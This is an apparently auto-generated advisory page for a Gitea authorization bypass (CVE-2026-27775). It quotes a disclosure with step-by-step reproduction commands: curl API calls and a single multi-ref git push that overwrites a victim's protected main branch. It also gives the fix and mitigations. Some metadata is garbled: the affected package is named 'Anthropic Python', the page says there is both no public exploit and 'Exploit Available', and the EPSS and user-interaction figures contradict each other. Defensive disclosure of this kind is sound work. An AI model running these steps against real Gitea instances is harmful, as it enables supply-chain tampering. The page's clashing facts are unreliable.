CVE-2026-27775: Gitea: cached permission check allows repo takeover

GHSA-649p-mmhf-85c7 HIGH CISA: ATTEND
Published July 21, 2026
CISO Take

A flaw in Gitea's pre-receive hook lets a user with a narrow, legitimate per-branch write grant (the kind auto-created when someone accepts 'allow edits from maintainers' on a pull request) escalate to full write access on the entire repository, including protected branches like main, by batching that branch together with other refs in a single git push. This matters because Gitea is widely used to self-host source code, CI/CD configs, and increasingly ML training scripts, model-loading code, and pipeline definitions — an attacker exploiting this can silently rewrite main with backdoored code, poison a repo's history, or push malicious tags, all without any additional authentication or exploit tooling beyond a normal git client. There's no public exploit or Nuclei template yet, it isn't in CISA KEV, and EPSS places it in the top 59th percentile (low near-term mass-exploitation signal), but the deterministic, reliable nature of the bypass (CVSS 8.8, network-exploitable, low complexity) combined with 5,901 downstream dependents means any self-hosted Gitea instance accepting external contributions is exposed today. Patch to Gitea 1.26.3 or later immediately; until patched, review protected-branch push logs for unexpected multi-ref pushes and consider disabling 'allow edits from maintainers' on public repos as a stopgap.

Sources: NVD GitHub Advisory EPSS CISA KEV ATLAS

What is the risk?

High severity (CVSS 8.8) with a deterministic, non-race-condition exploit path — the attacker fully controls ref ordering in the batched push, so success is reliable rather than probabilistic. Authentication requirement is low (any contributor with a merged/open PR carrying maintainer-edit permission qualifies) and no additional user interaction is needed once the victim has enabled the edit-permission flag, which is a common default workflow on collaborative repos. Exploitability is currently constrained by lack of public PoC/scanner coverage and absence from CISA KEV, keeping near-term mass exploitation likelihood moderate rather than critical, but the bug class (check-vs-use divergence in a caching layer) is easy to weaponize once understood and the AGit-flow relaxation that permits Read-only users to open receive-pack sessions widens the pool of potential attackers.

How does the attack unfold?

Initial Access
Attacker obtains a legitimate, branch-scoped write grant by having a victim's pull request merged with 'allow edits from maintainers' enabled.
Authorization Bypass
Attacker batches the permitted branch together with a protected branch (e.g., main) in a single git push; the pre-receive hook caches the first branch's permission check and reuses it for all subsequent refs.
Supply Chain Injection
The malicious commit on main is accepted and becomes part of the repository's trusted history, potentially propagating into automated training or deployment pipelines that build from main.
AML.T0010.001
Impact
Downstream CI/CD, training, or inference systems pull the compromised code, resulting in supply chain compromise of the affected AI/ML project.
AML.T0010

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Anthropic Python go < 1.26.3 1.26.3
3.9K 6.1K dependents Pushed 3d ago 90% patched ~14d to patch Full package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1
8.8 / 10
EPSS
0.5%
chance of exploitation in 30 days
Higher than 43% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C High
I High
A High

What should I do?

1 step
  1. Upgrade to Gitea 1.26.3 or later, which removes the erroneous per-session caching of the CanMaintainerWriteToBranch check so authorization is re-evaluated for every ref in a push batch. Until patched, audit and restrict 'Allow edits from maintainers' usage on repositories containing sensitive ML code or pipeline configs, and monitor pre-receive/push logs for multi-ref pushes that combine a permitted branch with a protected one (e.g., main pushed in the same operation as a PR branch) — this pattern is a strong indicator of attempted exploitation. Where feasible, disable or restrict AGit-flow support (git.DefaultFeatures().SupportProcReceive) to prevent Read-only users from initiating receive-pack sessions, and enforce branch protection rules requiring signed commits or required reviews as a defense-in-depth layer that would surface unauthorized main-branch changes even if the push succeeds.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6 - AI system data acquisition and preparation
NIST AI RMF
MAP-3.5 - Third-party resources and supply chain risks are identified and documented
OWASP LLM Top 10
LLM03 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-27775?

A flaw in Gitea's pre-receive hook lets a user with a narrow, legitimate per-branch write grant (the kind auto-created when someone accepts 'allow edits from maintainers' on a pull request) escalate to full write access on the entire repository, including protected branches like main, by batching that branch together with other refs in a single git push. This matters because Gitea is widely used to self-host source code, CI/CD configs, and increasingly ML training scripts, model-loading code, and pipeline definitions — an attacker exploiting this can silently rewrite main with backdoored code, poison a repo's history, or push malicious tags, all without any additional authentication or exploit tooling beyond a normal git client. There's no public exploit or Nuclei template yet, it isn't in CISA KEV, and EPSS places it in the top 59th percentile (low near-term mass-exploitation signal), but the deterministic, reliable nature of the bypass (CVSS 8.8, network-exploitable, low complexity) combined with 5,901 downstream dependents means any self-hosted Gitea instance accepting external contributions is exposed today. Patch to Gitea 1.26.3 or later immediately; until patched, review protected-branch push logs for unexpected multi-ref pushes and consider disabling 'allow edits from maintainers' on public repos as a stopgap.

Is CVE-2026-27775 actively exploited?

No confirmed active exploitation of CVE-2026-27775 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-27775?

Upgrade to Gitea 1.26.3 or later, which removes the erroneous per-session caching of the CanMaintainerWriteToBranch check so authorization is re-evaluated for every ref in a push batch. Until patched, audit and restrict 'Allow edits from maintainers' usage on repositories containing sensitive ML code or pipeline configs, and monitor pre-receive/push logs for multi-ref pushes that combine a permitted branch with a protected one (e.g., main pushed in the same operation as a PR branch) — this pattern is a strong indicator of attempted exploitation. Where feasible, disable or restrict AGit-flow support (git.DefaultFeatures().SupportProcReceive) to prevent Read-only users from initiating receive-pack sessions, and enforce branch protection rules requiring signed commits or required reviews as a defense-in-depth layer that would surface unauthorized main-branch changes even if the push succeeds.

What systems are affected by CVE-2026-27775?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, CI/CD pipelines, model registries, supply chain / source control.

What is the CVSS score for CVE-2026-27775?

CVE-2026-27775 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.52%.

What is the AI security impact?

Affected AI Architectures

training pipelinesCI/CD pipelinesmodel registriessupply chain / source control

MITRE ATLAS Techniques

AML.T0010 AI Supply Chain Compromise
AML.T0010.001 AI Software

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2.6
NIST AI RMF: MAP-3.5
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Vulnerability Header | Field | Value | | ------------------- | ----------------------------------------------------------------------------------- | | Vulnerability Title | Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write | | Severity Rating | High | | Bug Category | Authorization Bypass | | Location | `routers/private/hook_pre_receive.go:55-64`, `CanWriteCode()` | | Affected Versions | 1.25.5 | ## Executive Summary The pre-receive hook in Gitea evaluates the `CanMaintainerWriteToBranch` permission only once per `git push` session and caches the result for all subsequent refs in the same batch. An attacker who has a legitimate per-branch write grant (e.g., via an open pull request with "Allow edits from maintainers" enabled) can batch-push that branch together with any other ref. The cached `true` from the first ref is reused for all following refs, allowing the attacker to overwrite protected branches (including `main`), create arbitrary new branches, and push tags. This effectively escalates a single-branch maintainer-edit grant into full repository write access. ## Root Cause Analysis ### Technical Description When processing a multi-ref `git push`, the `HookPreReceive` handler at `hook_pre_receive.go:107` iterates over all incoming refs. For each branch ref, `preReceiveBranch` (`:140`) updates `ctx.branchName` to the current branch (`:142`) and then calls `AssertCanWriteCode()` (`:144`). `CanWriteCode()` (`:55-64`) checks whether the user can write to the repository. On the first call, it evaluates `issues_model.CanMaintainerWriteToBranch(ctx, userPerm, ctx.branchName, user)` and stores the result in a boolean flag (`canWriteCode`) with a guard (`checkedCanWriteCode`). On all subsequent calls within the same batch, it returns the cached boolean without re-evaluating against the now-different `ctx.branchName`. This means the permission check is branch-specific in its inputs but session-scoped in its caching — a classic check-vs-use divergence. A second contributing factor is the AGit-flow relaxation at `routers/web/repo/githttp.go:190-192` (and `routers/private/serv.go:337-338`), which downgrades the outer `receive-pack` access gate from `Write` to `Read` when `git.DefaultFeatures().SupportProcReceive` is true (git ≥ 2.29). This allows a user with only Read access on a repository to initiate a `receive-pack` session, deferring all authorization to the pre-receive hook — which contains the caching bug described above. ### First Faulty Condition | File | `routers/private/hook_pre_receive.go` | | --------- | ------------------------------------- | | Line | 55-64 | | Condition | `CanWriteCode()` evaluates the branch-specific `CanMaintainerWriteToBranch` check only on the first invocation and caches the result, reusing it for all subsequent refs in the batch regardless of which branch they target. | ### Trace Analysis The following is the path from the attacker's `git push` to the authorization fault: 1. `POST /{owner}/{repo}.git/git-receive-pack` → `routers/web/repo/githttp.go:437` (`ServiceReceivePack`) → `httpBase()` (`:60`) - Access gate is downgraded from Write to Read at `:190-192` due to AGit-flow support. 2. `git receive-pack` invokes the pre-receive hook → `cmd/hook.go:184` (`runHookPreReceive`) → `modules/private/hook.go:96` (`HookPreReceive`) → internal API → `routers/private/hook_pre_receive.go:107` (`HookPreReceive`) 3. Loop at `:117` iterates over all refs in the batch. For each branch ref, `preReceiveBranch` (`:140`) sets `ctx.branchName` at `:142`. 4. **Fault**: `AssertCanWriteCode()` (`:144`) → `CanWriteCode()` (`:55-64`). - First ref (`feature-branch`): `checkedCanWriteCode` is false → evaluates `CanMaintainerWriteToBranch(ctx, userPerm, "feature-branch", user)` → returns `true` (legitimate grant) → caches result. - Second ref (`main`): `checkedCanWriteCode` is already true → returns cached `true` **without re-evaluating** against `"main"`. 5. Hook returns 200 → `git receive-pack` accepts all refs → `main` is overwritten in the victim's repository. ## Exploitability Assessment ### Attack Vector & Reachability | Attack vector | Network | | --------------------------- | ----------------------------------------------------------------------------------- | | Authentication required | Low | | User interaction required | Required. Victim must enable "Allow edits from maintainers" on their PR | | Reachable in default config | Yes | | Entry point | `git push` over smart-HTTP or SSH with multiple refs in a single operation | The attacker gains full write access to the victim's repository — equivalent to having push permissions on all refs. By controlling the order of refs in the batch (e.g., naming the granted branch so it sorts first), the attacker reliably ensures the legitimate ref is evaluated before the target. This is not a race condition; it is deterministic. ### Reproduction Steps **Environment** The issue was reproduced using Gitea v1.25.5 on Ubuntu 24.04.4 LTS. **Prerequisites:** * a Gitea instance with two users, `attacker` and `victim`. ```bash # 1. Attacker creates a repository (e.g., a popular open-source project) curl -X POST "http://attacker:pw@<gitea>/api/v1/user/repos" \ -H "Content-Type: application/json" \ -d '{"name": "project", "auto_init": true}' # 2. Victim forks attacker's repository (standard contributor workflow) curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/forks" \ -H "Content-Type: application/json" \ -d '{}' # 3. Victim creates a feature branch on their fork and commits a change curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/branches" \ -H "Content-Type: application/json" \ -d '{"new_branch_name": "feature-branch", "old_branch_name": "main"}' curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/contribution.txt" \ -H "Content-Type: application/json" \ -d '{"message": "Add contribution", "content": "'$(echo -n "victim contribution" | base64)'", "branch": "feature-branch"}' # 4. Victim opens a PR from their feature branch into attacker/project # with "Allow edits from maintainers" enabled curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/pulls" \ -H "Content-Type: application/json" \ -d '{"title": "Feature PR", "head": "victim:feature-branch", "base": "main", "allow_maintainer_edit": true}' ``` At this point, the attacker (as maintainer of the base repo `attacker/project`) has a per-branch write grant on the victim's fork, scoped to the `feature-branch` branch only. **Attack** The attacker works from their own repo (`attacker/project`) ```bash # 5. Attacker clones their own repo git clone http://attacker:pw@<gitea>/attacker/project.git && cd project # 6. Attacker fetches the victim's PR branch git fetch -u http://<gitea>/victim/project feature-branch:victim-feature-branch git checkout victim-feature-branch # 7. Attacker adds a commit to the PR branch echo "legitimate change" > feature.txt && git add . && git commit -m "PR update" # 8. Attacker also prepares a malicious commit on main git checkout main echo "MALICIOUS CONTENT" > PWNED && git add . && git commit -m "pwned" # 9. Attacker pushes both refs to the victim's fork in a single operation — this is the exploit git push http://attacker:pw@<gitea>/victim/project.git victim-feature-branch:feature-branch main:main # 10. The change on both refs is visible regardless of PR status ``` **Expected result**: `main` should be rejected ("User permission denied for writing"). **Actual result**: Both refs are accepted. `victim/project:main` now contains the attacker's malicious commit. ```bash # Verify: victim checks their fork's main branch curl "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/PWNED?ref=main" # Returns attacker's "MALICIOUS CONTENT" — main has been overwritten ``` The same technique also works for pushing arbitrary tags (`refs/tags/*`) and creating new branches. ## Recommended Fix Remove the caching in `CanWriteCode()` — the `CanMaintainerWriteToBranch` check must be evaluated for every ref in the batch, not cached after the first call. The `checkedCanWriteCode` / `canWriteCode` fields on `preReceiveContext` and the guard in `CanWriteCode()` at `hook_pre_receive.go:55-64` should be removed, so the permission is evaluated fresh each time `preReceiveBranch` or `preReceiveTag` calls it. `loadPusherAndPermission()` already has its own caching (`loadedPusher`), so the per-call cost is limited to the `CanMaintainerWriteToBranch` query. See [diff.patch](https://github.com/user-attachments/files/28831842/diff.patch) for the proposed fix. Patch provenance: AI-generated, human-reviewed. ## Attribution This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by **Adrian Denkiewicz** at **Doyensec** in collaboration with Anthropic Research. For CVE credits and public acknowledgments: **Doyensec in collaboration with Claude and Anthropic Research**

Exploitation Scenario

An attacker opens a pull request against a victim's public ML project repository with 'allow edits from maintainers' enabled — a routine contributor workflow. As a maintainer of the base repo, the attacker now holds a legitimate but branch-scoped write grant on the contributor's feature branch. The attacker crafts a single git push that includes both the permitted feature branch and main (or a malicious tag), naming the permitted ref first so the pre-receive hook's cached authorization check passes for the whole batch. The push succeeds, silently overwriting main with attacker-controlled code — for example, a modified data-loading script that exfiltrates training data, a poisoned model-conversion step, or a backdoored dependency pin in a requirements/CI file — which is then picked up by the project's automated build/training/deploy pipeline without further scrutiny.

Weaknesses (CWE)

CWE-863 — Incorrect Authorization: The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

  • [Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • [Architecture and Design] Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
July 21, 2026
Last Modified
July 21, 2026
First Seen
July 22, 2026

Related Vulnerabilities